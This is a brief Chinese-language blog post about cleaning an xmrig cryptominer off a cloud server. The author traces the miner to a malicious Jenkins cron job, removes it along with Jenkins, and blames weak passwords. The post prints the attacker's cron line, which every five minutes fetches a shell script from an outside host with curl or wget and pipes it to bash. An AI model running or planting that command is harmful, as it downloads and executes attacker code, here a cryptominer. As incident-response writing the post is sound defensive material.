Skip to content

服务器安全

xmrig 挖矿

查看服务器 CPU 是否异常

bash
$ top
PID   USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
11347 root      20   0 2440420   2.0g   4012 S 201.0  14.0   2399:29 xmrig

发现 xmrig 占用很高。之后查云服务器发现这个挖矿程序,来源一个定时任务(crond)

image-20240307103951770

直接查看定时任务日志,发现都是 jenkins 和 postgres 的

bash
$ cat /var/log/cron

image-20240307104644743

去查看定时任务

bash
$ cd /var/spool/cron
$ ll

image-20240307104352352

果然,定时任务里面有 jenkins 和 postgres 的,postgres 的没问题

bash
$ cat jenkins
*/5 * * * * (curl -fsSL cc.0889.org/cc.sh || wget -q -O - cc.0889.org/cc.sh) | bash >/dev/null 2>&1

jenkins 定时任务是挖矿的根源,它会去一个美国站点下载 shell 脚本之后执行,太可怕了...

image-20240307110014013

把 jenkins 定时任务删掉,之后再把挖矿程序删掉

bash
$ rm -rf /var/tmp/.xmrig

image-20240307105011834

我的服务器才 2核2G,运行 Jenkins 会占用很大内存,也不太需要了,况且阿里云有阿里云效。索性直接把 Jenkins 删除了

bash
$ userdel jenkins
$ rm -rf /var/lib/jenkins/
$ rm -rf /var/cache/jenkins/
# 查看用户,发现jenkins没了
$ cat /etc/passwd | grep jenkins

总结:其实最根本的问题还是在于 Jenkins 和 postgres 密码口令太弱了,轻易就被攻破了,最好是把密码设置的强一些(同理:mongodb、mysql、redis)

常备不懈,才能有备无患